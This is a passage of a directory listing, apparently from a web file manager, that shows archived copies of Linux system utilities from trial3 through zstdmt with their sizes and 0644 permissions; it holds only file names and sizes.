trial3.tar File 2.5 KB 0644
trial3.tar.gz File 556 B 0644
troff.tar File 720.5 KB 0644
troff.tar.gz File 257.09 KB 0644
true.tar File 28 KB 0644
true.tar.gz File 9.52 KB 0644
truncate.tar File 36.5 KB 0644
truncate.tar.gz File 13.33 KB 0644
tsort.tar File 48.5 KB 0644
tsort.tar.gz File 17.71 KB 0644
tune2fs.tar File 104.5 KB 0644
tune2fs.tar.gz File 44.96 KB 0644
tzconfig.tar File 2 KB 0644
tzconfig.tar.gz File 180 B 0644
ubuntu-advantage.tar File 2 KB 0644
ubuntu-advantage.tar.gz File 142 B 0644
ubuntu-distro-info.tar File 24.5 KB 0644
ubuntu-distro-info.tar.gz File 8.03 KB 0644
ubuntu-drivers.tar File 20 KB 0644
ubuntu-drivers.tar.gz File 4.06 KB 0644
ucf.tar File 49.5 KB 0644
ucf.tar.gz File 10.9 KB 0644
ucf.zip File 30.67 KB 0644
udev.tar File 64.5 KB 0644
udev.tar.gz File 7.52 KB 0644
ufw.lock.lock.tar.gz File 75 B 0644
ufw.lock.tar File 1.5 KB 0644
ufw.tar File 6.5 KB 0644
ufw.tar.gz File 1.92 KB 0644
ufw.zip File 20.07 KB 0644
uid_map.tar File 5 KB 0644
uid_map.tar.gz File 108 B 0644
unicode_start.tar File 4.5 KB 0644
unicode_start.tar.gz File 1.43 KB 0644
unicode_stop.tar File 2.5 KB 0644
unicode_stop.tar.gz File 431 B 0644
unix_chkpwd.tar File 28 KB 0644
unix_chkpwd.tar.gz File 9.2 KB 0644
unix_update.tar File 32 KB 0644
unix_update.tar.gz File 11.88 KB 0644
unlink.tar File 32.5 KB 0644
unlink.tar.gz File 10.31 KB 0644
unxz.tar File 84.5 KB 0644
unxz.tar.gz File 33.92 KB 0644
update-ca-certificates.tar File 7 KB 0644
update-ca-certificates.tar.gz File 2.24 KB 0644
update-grub2.tar File 2 KB 0644
update-grub2.tar.gz File 152 B 0644
update-initramfs.tar File 8.5 KB 0644
update-initramfs.tar.gz File 2.3 KB 0644
update-java-alternatives.tar File 5 KB 0644
update-java-alternatives.tar.gz File 1.21 KB 0644
update-locale.tar File 4.5 KB 0644
update-locale.tar.gz File 1.38 KB 0644
update-passwd.tar File 36.5 KB 0644
update-passwd.tar.gz File 11.17 KB 0644
update-pciids.tar File 3.5 KB 0644
update-pciids.tar.gz File 847 B 0644
update-rc.d.d.tar.gz File 4.82 KB 0644
update-rc.d.tar File 18.5 KB 0644
upgrade-from-grub-legacy.tar File 3.5 KB 0644
upgrade-from-grub-legacy.tar.gz File 959 B 0644
uptime.tar File 16 KB 0644
uptime.tar.gz File 3.67 KB 0644
usbhid-dump.tar File 32 KB 0644
usbhid-dump.tar.gz File 9.29 KB 0644
useradd.tar File 129.5 KB 0644
useradd.tar.gz File 49.92 KB 0644
usermod.tar File 125 KB 0644
usermod.tar.gz File 49.68 KB 0644
users.tar File 37.5 KB 0644
users.tar.gz File 11.06 KB 0644
uuidd.tar File 32.5 KB 0644
uuidd.tar.gz File 9.76 KB 0644
v8-container.h.h.tar.gz File 1.97 KB 0644
v8-container.h.tar File 7.5 KB 0644
v8-source-location.h.h.tar.gz File 1011 B 0644
v8-source-location.h.tar File 4.5 KB 0644
v8-typed-array.h.h.tar.gz File 1.56 KB 0644
v8-typed-array.h.tar File 13 KB 0644
validlocale.tar File 3.5 KB 0644
validlocale.tar.gz File 950 B 0644
vcstime.tar File 16 KB 0644
vcstime.tar.gz File 2.29 KB 0644
vfio.tar File 1.5 KB 0644
vfio.tar.gz File 66 B 0644
vfio.zip File 142 B 0644
vgcfgbackup.tar File 2.89 MB 0644
vgcfgbackup.tar.gz File 932.16 KB 0644
vgcfgrestore.tar File 2.89 MB 0644
vgcfgrestore.tar.gz File 932.16 KB 0644
vgconvert.tar File 2.89 MB 0644
vgconvert.tar.gz File 932.16 KB 0644
vgcreate.tar File 2.89 MB 0644
vgcreate.tar.gz File 932.15 KB 0644
vgdisplay.tar File 2.89 MB 0644
vgdisplay.tar.gz File 932.16 KB 0644
vgexport.tar File 2.89 MB 0644
vgexport.tar.gz File 932.15 KB 0644
vgimportclone.tar File 2.89 MB 0644
vgimportclone.tar.gz File 932.16 KB 0644
vgmerge.tar File 2.89 MB 0644
vgmerge.tar.gz File 932.15 KB 0644
vgremove.tar File 2.89 MB 0644
vgremove.tar.gz File 932.15 KB 0644
vgrename.tar File 2.89 MB 0644
vgrename.tar.gz File 932.15 KB 0644
vgsplit.tar File 2.89 MB 0644
vgsplit.tar.gz File 932.15 KB 0644
viewres.tar File 33 KB 0644
viewres.tar.gz File 10.34 KB 0644
vim.basic.basic.tar.gz File 1.85 MB 0644
vim.basic.tar File 3.61 MB 0644
vimdiff.tar File 3.61 MB 0644
vimdiff.tar.gz File 1.85 MB 0644
vipw.tar File 58.5 KB 0644
vipw.tar.gz File 19.4 KB 0644
vmhgfs-fuse.tar File 48.5 KB 0644
vmhgfs-fuse.tar.gz File 20.11 KB 0644
vmware-checkvm.tar File 16 KB 0644
vmware-checkvm.tar.gz File 2.76 KB 0644
vmware-rpctool.tar File 20 KB 0644
vmware-rpctool.tar.gz File 6.88 KB 0644
wchan.tar File 6 KB 0644
wchan.tar.gz File 87 B 0644
wget.tar File 461 KB 0644
wget.tar.gz File 218.14 KB 0644
wgetrc.tar File 6.5 KB 0644
wgetrc.tar.gz File 2.25 KB 0644
whatis.tar File 49 KB 0644
whatis.tar.gz File 17.01 KB 0644
whiptail.tar File 32 KB 0644
whiptail.tar.gz File 11.12 KB 0644
wipefs.tar File 40 KB 0644
wipefs.tar.gz File 12.6 KB 0644
write.tar File 24 KB 0644
write.tar.gz File 6.44 KB 0644
x86_64-linux-gnu-ld.tar File 1.66 MB 0644
x86_64-linux-gnu-ld.tar.gz File 264.18 KB 0644
x86_64-linux-gnu-nm.tar File 45.5 KB 0644
x86_64-linux-gnu-nm.tar.gz File 18.56 KB 0644
xargs.tar File 64 KB 0644
xargs.tar.gz File 26.82 KB 0644
xauth.tar File 56.5 KB 0644
xauth.tar.gz File 20.24 KB 0644
xdpyinfo.tar File 41 KB 0644
xdpyinfo.tar.gz File 13.55 KB 0644
xfs_admin.tar File 3 KB 0644
xfs_admin.tar.gz File 728 B 0644
xfs_db.tar File 654 KB 0644
xfs_db.tar.gz File 295.77 KB 0644
xfs_estimate.tar File 16 KB 0644
xfs_estimate.tar.gz File 4.2 KB 0644
xfs_freeze.tar File 2.5 KB 0644
xfs_freeze.tar.gz File 515 B 0644
xfs_fsr.tar File 44 KB 0644
xfs_fsr.tar.gz File 18.24 KB 0644
xfs_growfs.tar File 40 KB 0644
xfs_growfs.tar.gz File 14.46 KB 0644
xfs_info.tar File 3 KB 0644
xfs_info.tar.gz File 791 B 0644
xfs_io.tar File 201.5 KB 0644
xfs_io.tar.gz File 92.66 KB 0644
xfs_metadump.tar File 2.5 KB 0644
xfs_metadump.tar.gz File 499 B 0644
xfs_quota.tar File 92 KB 0644
xfs_quota.tar.gz File 37.75 KB 0644
xfs_repair.tar File 601 KB 0644
xfs_repair.tar.gz File 299.49 KB 0644
xfs_rtcp.tar File 20 KB 0644
xfs_rtcp.tar.gz File 4.87 KB 0644
xfs_scrub.tar File 108 KB 0644
xfs_scrub.tar.gz File 48.07 KB 0644
xkill.tar File 16 KB 0644
xkill.tar.gz File 5.01 KB 0644
xlsclients.tar File 20 KB 0644
xlsclients.tar.gz File 6.18 KB 0644
xtables-legacy-multi.tar File 98.5 KB 0644
xtables-legacy-multi.tar.gz File 36.25 KB 0644
xtables-monitor.tar File 221 KB 0644
xtables-monitor.tar.gz File 91.05 KB 0644
xvinfo.tar File 20 KB 0644
xvinfo.tar.gz File 5.33 KB 0644
xzcat.tar File 84.5 KB 0644
xzcat.tar.gz File 33.92 KB 0644
xzcmp.tar File 8.5 KB 0644
xzcmp.tar.gz File 2.67 KB 0644
xzegrep.tar File 7.5 KB 0644
xzegrep.tar.gz File 2.62 KB 0644
xzless.tar File 3.5 KB 0644
xzless.tar.gz File 1.11 KB 0644
xzmore.tar File 4 KB 0644
xzmore.tar.gz File 1.2 KB 0644
zabbix-agent-timeweb.tar File 2 KB 0644
zabbix-agent-timeweb.tar.gz File 98 B 0644
zdiff.tar File 7.5 KB 0644
zdiff.tar.gz File 1.96 KB 0644
zerofree.tar File 16 KB 0644
zerofree.tar.gz File 3.41 KB 0644
zipdetails.tar File 60.5 KB 0644
zipdetails.tar.gz File 15.28 KB 0644
zipinfo.tar File 172 KB 0644
zipinfo.tar.gz File 81.22 KB 0644
zoneinfo-icu.tar File 466 KB 0644
zoneinfo-icu.tar.gz File 177.45 KB 0644
zstd.tar File 856.5 KB 0644
zstd.tar.gz File 376.92 KB 0644
zstdcat.tar File 856.5 KB 0644
zstdcat.tar.gz File 376.92 KB 0644
zstdless.tar File 2 KB 0644
zstdless.tar.gz File 115 B 0644
zstdmt.tar File 856.5 KB 0644
zstdmt.tar.gz File 376.92 KB 0644